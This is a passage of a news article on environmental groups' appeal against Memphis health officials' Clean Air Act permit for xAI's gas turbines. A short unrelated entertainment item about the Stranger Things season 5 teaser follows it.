Significantly, the groups claimed that the health department “improperly ignored” the prior turbine activity and the additional turbines still believed to be on site, unlawfully deeming some of the turbines as “temporary” and designating xAI’s facility a new project with no prior emissions sources. Had xAI’s data center been categorized as a modification to an existing major source of pollutants, the appeal said, xAI would’ve faced stricter emissions controls and “robust ambient air quality impacts assessments.”

And perhaps more concerningly, the exemptions granted could allow xAI—or any other emerging major sources of pollutants in the area—to “install and operate any number of new polluting turbines at any time without any written approval from the Health Department, without any public notice or public participation, and without pollution controls,” the appeal said.

The SCHD and xAI did not respond to Ars’ request to comment.

Officials accused of cherry-picking Clean Air Act

The appeal called out the SCHD for “tellingly” omitting key provisions of the Clean Air Act that allegedly undermined the department’s “position” when explaining why xAI qualified for exemptions. Groups also suggested that xAI was getting preferential treatment, providing as evidence a side-by-side comparison of a permit with stricter emissions requirements granted to a natural gas power plant, issued within months of granting xAI’s permit with only generalized emissions requirements.

“The Department cannot cherry pick which parts of the federal Clean Air Act it believes are relevant,” the appeal said, calling the SCHD’s decisions a “blatant” misrepresentation of the federal law while pointing to statements from the Environmental Protection Agency (EPA) that allegedly “directly” contradict the health department’s position.

For some Memphians protesting xAI’s facility, it seems “indisputable” that xAI’s turbines fall outside of the Clean Air Act requirements, whether they’re temporary or permanent, and if that’s true, it is “undeniable” that the activity violates the law. They’re afraid the health department is prioritizing xAI’s corporate gains over their health by “failing to establish enforceable emission limits” on the data center, which powers what xAI hypes as the world’s largest AI supercomputer, Colossus, the engine behind its controversial Grok models.

Rather than a minor source, as the SCHD designated the facility, Memphians think the data center is already a major source of pollutants, with its permitted turbines releasing, at minimum, 900 tons of nitrogen oxides (NOx) per year. That’s more than three times the threshold that the Clean Air Act uses to define a major source: “one that ’emits, or has the potential to emit,’ at least 250 tons of NOx per year,” the appeal noted. Further, the allegedly overlooked additional turbines that were on site at xAI when permitting was granted “have the potential to emit at least 560 tons of NOx per year.”

But so far, Memphians appear stuck with the SCHD’s generalized emissions requirements and xAI’s voluntary emission limits, which the appeal alleged “fall short” of the stringent limits imposed if xAI were forced to use best-available control technologies. Fixing that is “especially critical given the ongoing and worsening smog problem in Memphis,” environmental groups alleged, which is an area that has “failed to meet EPA’s air quality standard for ozone for years.”

xAI also apparently conducted some “air dispersion modeling” to appease critics. But, again, that process was not comparable to the more rigorous analysis that would’ve been required to get what the EPA calls a Prevention of Significant Deterioration permit, the appeal said.

Groups want xAI’s permit revoked

To shield Memphians from ongoing health risks, the NAACP and environmental justice groups have urged the Memphis and Shelby County Air Pollution Control Board to act now.

Memphis is a city already grappling with high rates of emergency room visits and deaths from asthma, with cancer rates four times the national average. Residents have already begun wearing masks, avoiding the outdoors, and keeping their windows closed since xAI’s data center moved in, the appeal noted. Residents remain “deeply concerned” about feared exposure to alleged pollutants that can “cause a variety of adverse health effects,” including “increased risk of lung infection, aggravated respiratory diseases such as emphysema and chronic bronchitis, and increased frequency of asthma attack,” as well as certain types of cancer.

In an SELC press release, LaTricea Adams, CEO and President of Young, Gifted and Green, called the SCHD’s decisions on xAI’s permit “reckless.”

“As a Black woman born and raised in Memphis, I know firsthand how industry harms Black communities while those in power cower away from justice,” Adams said. “The Shelby County Health Department needs to do their job to protect the health of ALL Memphians, especially those in frontline communities… that are burdened with a history of environmental racism, legacy pollution, and redlining.”

Groups also suspect xAI is stockpiling dozens of gas turbines to potentially power a second facility nearby—which could lead to over 90 turbines in operation. To get that facility up and running, Musk claimed that he will be “copying and pasting” the process for launching the first data center, SELC’s press release said.

Groups appealing have asked the board to revoke xAI’s permits and declare that xAI’s turbines do not qualify for exemptions from the Clean Air Act or other laws and that all permits for gas turbines must meet strict EPA standards. If successful, groups could force xAI to redo the permitting process “pursuant to the major source requirements of the Clean Air Act” and local law. At the very least, they’ve asked the board to remand the permit to the health department to “reconsider its determinations.”

Unless the pollution control board intervenes, Memphians worry xAI’s “unlawful conduct risks being repeated and evading review,” with any turbines removed easily brought back with “no notice” to residents if xAI’s exemptions remain in place.

“Nothing is stopping xAI from installing additional unpermitted turbines at any time to meet its widely-publicized demand for additional power,” the appeal said.

NAACP’s director of environmental justice, Abre’ Conner, confirmed in the SELC’s press release that his group and community members “have repeatedly shared concerns that xAI is causing a significant increase in the pollution of the air Memphians breathe.”

“The health department should focus on people’s health—not on maximizing corporate gain,” Conner said.

Photo of Ashley Belanger

Ashley is a senior policy reporter for Ars Technica, dedicated to tracking social impacts of emerging policies and new technologies. She is a Chicago-based journalist with 20 years of experience.

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Linda Hamilton rocks Stranger Things’ S5 extended teaser

Netflix has finally released an extended teaser for the fifth and final season of Stranger Things, airing late this year. It’s got everything we could hope for in terms of the conclusive showdown—spooky shots of the Upside Down bleeding into Hawkins, attacking demo-dogs, flamethrowers—plus an armed and dangerous Linda Hamilton taking on the monsters beside our plucky Hawkins crew.

(Spoilers for prior seasons below.)

S4 ended with Vecna—the Big Bad behind it all—opening the gate that allowed the Upside Down to leak into Hawkins. We’re getting a time jump for S5, but in a way, we’re coming full circle, since the events coincide with the third anniversary of Will’s original disappearance in S1. The fifth season will have eight episodes, and each one will be looong—akin to eight feature-length films. Per the official premise:

The fall of 1987. Hawkins is scarred by the opening of the Rifts, and our heroes are united by a single goal: find and kill Vecna. But he has vanished — his whereabouts and plans unknown. Complicating their mission, the government has placed the town under military quarantine and intensified its hunt for Eleven, forcing her back into hiding. As the anniversary of Will’s disappearance approaches, so does a heavy, familiar dread. The final battle is looming — and with it, a darkness more powerful and more deadly than anything they’ve faced before. To end this nightmare, they’ll need everyone — the full party — standing together, one last time.

In addition to the returning main cast, Amybeth McNulty and Gabriella Pizzolo are back as Vicki and Dustin’s girlfriend, Suzie, respectively, with Jamie Campbell Bower reprising his role as Vecna. Linda Hamilton joins the cast as Dr. Kay, along with Nell Fisher as Holly Wheeler, Jake Connelly as Derek Turnbow, and Alex Breaux as Lt. Akers.

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